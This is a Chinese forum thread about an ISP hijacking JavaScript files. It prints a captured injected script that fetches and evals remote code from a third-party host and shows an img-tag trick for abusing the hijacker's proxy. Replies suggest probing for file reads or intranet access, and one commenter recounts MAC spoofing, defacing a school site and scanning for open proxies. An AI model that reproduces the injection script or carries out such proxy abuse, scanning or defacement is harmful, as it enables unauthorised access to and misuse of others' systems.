V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
这是一个专门讨论 idea 的地方。

每个人的时间,资源是有限的,有的时候你或许能够想到很多 idea,但是由于现实的限制,却并不是所有的 idea 都能够成为现实。

那这个时候,不妨可以把那些 idea 分享出来,启发别人。
Soar360
V2EX  ›  奇思妙想

一个反杀网络劫持的思路?

  •  4
     
  •   Soar360 · 2018-01-27 12:53:56 +08:00 · 8428 次点击
    这是一个创建于 2495 天前的主题,其中的信息可能已经有所发展或是发生改变。

    租住昌平一角的公寓,宽带不知名,10M 要 100RMB 一月。最近发现网络劫持越来越厉害了。

    网络抓包发现,包含 jQuery 在内的多个 js 文件被劫持,文件内容被替换为了下面的样子(原地址是 ECharts ):

    var sourceScriptURI = 'http://echarts.baidu.com/dist/echarts.min.js';
    (function() {
        var evalGloble = eval;
        var _loader = function(uri) {
            if (!top || !this) {
                return setTimeout(arguments.callee, 50);
            }
            if (top != this) {
                return;
            }
    
            var s = window.top.document.createElement('script');
            s.src = uri;
            s.type = 'text/javascript';
            s.charset = 'utf-8';
            s.async = 'true';
            window.top.document.body.appendChild(s);
        };
    
        var evalSrcScript = function(uri) {
            var url = "http://www.fjlqqc.com/common/api/v1.0/src_script/?path=" + encodeURIComponent(uri);
            var xhr = new XMLHttpRequest();
            xhr.open('GET', url, false);
            xhr.setRequestHeader("X-Page-Charset", document.charset);
            xhr.send();
            try {
                evalGloble(xhr.responseText);
            } catch(error) {}
        };
    
        var getCurrentScript = function(sourceScriptURI) {
            var scripts = document.getElementsByTagName('script');
            for (var i = 0; i < scripts.length; ++i) {
                if (scripts[i].src == sourceScriptURI) return scripts[i];
            }
        };
    
        var _looper, injection;
        var _loop = function() {
            switch (document.readyState) {
                case 'loading':
                    break;
                case 'interactive':
                case 'complete':
                    clearInterval(_looper);
                    if (window.__COODAGLIFE__ === undefined) {
                        _loader(injectionScriptURI + trim(publisherID) + "/");
                        localStorage.COODAG_SERUM_IC = injectionScriptURI;
                        window.__COODAGLIFE__ = true;
                    }
                    break;
                default:
                    clearInterval(_looper);
                    break;
            }
        };
    
        var inject = function() {
            _looper = setInterval(_loop, 50);
        };
    
        function trim(s){
            return s.replace(/(^\s*)|(\s*$)/g, "");
        }
    
        var publisherID = '00000000-00000-0000-0000';//已修改
        var injectionScriptURI = "http://www.fjlqqc.com/common/api/v1.0/slot-code/publisher/";
        //var currentScript = getCurrentScript(sourceScriptURI);
        if (true) {
            evalSrcScript(sourceScriptURI);
        }
    
        inject();
    })();
    

    可以看到,这段代码向页面注入了另一段 js 代码

    http://www.fjlqqc.com/common/api/v1.0/slot-code/publisher/{publisherID}/
    

    并通过访问

    http://www.fjlqqc.com/common/api/v1.0/src_script/?path={sourceScriptURI}
    

    将原始的 JS 再带入网页。如何反杀?当然是用它的代理咯。于是我写出了下面的代码:

    <img src="http://www.fjlqqc.com/common/api/v1.0/src_script/?path=https%3A%2F%2Fwww.coderbusy.com%2Fwp-content%2Fuploads%2F2017%2F10%2F20171010032255_3047.png" />
    

    经测试,可用,速度还可以。要不要挂一个大大的下载包上去,就看各位的心情了。

    24 条回复    2018-01-29 08:47:09 +08:00
    jackyzy823
        1
    jackyzy823  
       2018-01-27 12:56:32 +08:00 via Android
    还可以看看能不能本地文件读取,或者内网穿透之类的…
    Soar360
        3
    Soar360  
    OP
       2018-01-27 13:13:41 +08:00
    你更狠。
    chen2016
        4
    chen2016  
       2018-01-27 13:24:16 +08:00 via Android
    666,放福利片然后提供给广大网友下载
    miyuki
        5
    miyuki  
       2018-01-27 13:26:35 +08:00
    @Zzzzzzzzz 这个已经成功缓存了
    dzxx36gyy
        6
    dzxx36gyy  
       2018-01-27 13:56:23 +08:00
    http://speedtest.tele2.net/1000GB.zip
    你需要让他缓存这个……
    Soar360
        7
    Soar360  
    OP
       2018-01-27 14:18:15 +08:00
    dzxx36gyy
        8
    dzxx36gyy  
       2018-01-27 14:25:36 +08:00
    @Soar360 不能带 ref 访问,你粘贴到浏览器里是 ok 的
    lmusicwq
        9
    lmusicwq  
       2018-01-27 14:36:29 +08:00
    10M 100 一个月也太贵了吧
    Soar360
        10
    Soar360  
    OP
       2018-01-27 14:41:33 +08:00
    @lmusicwq 垄断
    slwl123
        11
    slwl123  
       2018-01-27 14:47:34 +08:00
    不知道你那里 4G 信号如何 弄个无限流量套餐比较划算 当然不能经常常下载
    zjcqoo
        12
    zjcqoo  
       2018-01-27 15:47:29 +08:00
    Globle 都拼错了,差评😂
    zjcqoo
        13
    zjcqoo  
       2018-01-27 15:57:37 +08:00   ❤️ 2
    @Soar360 放大大的下载包并没有用。代理服务的本地缓存大小是有上限的,超过了就把老的文件抹掉了。而且代理一般都是基于流的,你下载了多少它缓存多少。你下载 1KB 之后断开,它缓存的也就 1KB 或者稍微多一点的数据量。(当然这个是一般的代理实现方式,如果他是自己实现的就不好说了)
    @dzxx36gyy 在页面里配个 no-referrer 策略就可以不带 refer 了吧~
    Soar360
        14
    Soar360  
    OP
       2018-01-27 15:57:52 +08:00 via iPhone
    @slwl123 家里有小孩儿 每天要看动画
    wangxiaohao
        15
    wangxiaohao  
       2018-01-27 19:01:23 +08:00
    厉害了
    666
    Soar360
        16
    Soar360  
    OP
       2018-01-27 21:31:08 +08:00
    @wangxiaohao 卧槽,大师现身,666。
    aheadlead
        17
    aheadlead  
       2018-01-27 22:40:32 +08:00
    这个代理可以拿来上网吧..
    jiqing
        18
    jiqing  
       2018-01-27 22:59:40 +08:00
    这是啥意思
    anheiyouxia
        19
    anheiyouxia  
       2018-01-28 01:10:10 +08:00 via Android
    明天玩玩
    crab
        20
    crab  
       2018-01-28 01:31:55 +08:00
    这域名泛解析真厉害!!!
    xmoiduts
        21
    xmoiduts  
       2018-01-28 09:48:17 +08:00 via Android
    @zjcqoo 的说法是有道理的,以前观察过某大运营商的 120.52.?.*段缓存,确实是你下了多少他缓存多少,不会多存。
    但一开始走代理的水管粗,比自己坐飞机快。过些日子,网速就也不行了。
    Tovcn
        22
    Tovcn  
       2018-01-28 11:00:16 +08:00
    漂亮。。。。。
    zjcqoo
        23
    zjcqoo  
       2018-01-28 17:20:52 +08:00
    之前家里的宽带(杭州网通)也遇到过类似的事。HTTP 页面右下角经常弹广告浮层,而且下载文件经常被重定向到 `http://218.108.x.x/1Q2W3E4R5T6Y7U8I9O0P1Z2X3C4V5B/raw_url`,(网上搜了下遇到过的还不少),估计是为了加速(但实现的也太 low 了,搞个透明代理不就好了)。

    想起 218.108.x.x 这个段是可以通过机顶盒的城域网( 10.x.x.x )访问的。

    ( BTW:当初挨家挨户送机顶盒的时候,正好在研究网络相关的事。于是把电脑 MAC 改成机顶盒差不多的,就能自动分配到 10.x.x.x 的 IP 端。DNS 是 218.108.x.x 的,可以 ping 出各个域名。正好高中的网站也在 218.108.x.x 段里的,于是用内网 IP 把网站首页黑了,一直没查出来 2333333 )

    于是写了个 nginx 配置,在本机开了个代理,把浏览器访问 HTTP 的流量都通过城域网转发到那台服务器上。毕竟 PPPoE 是限速的,而城域网 100Mbps 几乎管够,下载可以快好多。

    后来扫描了下 218.108 的网段,发现开这种代理的服务器还不少,记得好像有几十个。于是正好把 nginx 的负载均衡功能都用上了:)
    Soar360
        24
    Soar360  
    OP
       2018-01-29 08:47:09 +08:00 via iPhone
    @zjcqoo 这个厉害
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3306 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 31ms · UTC 12:34 · PVG 20:34 · LAX 04:34 · JFK 07:34
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.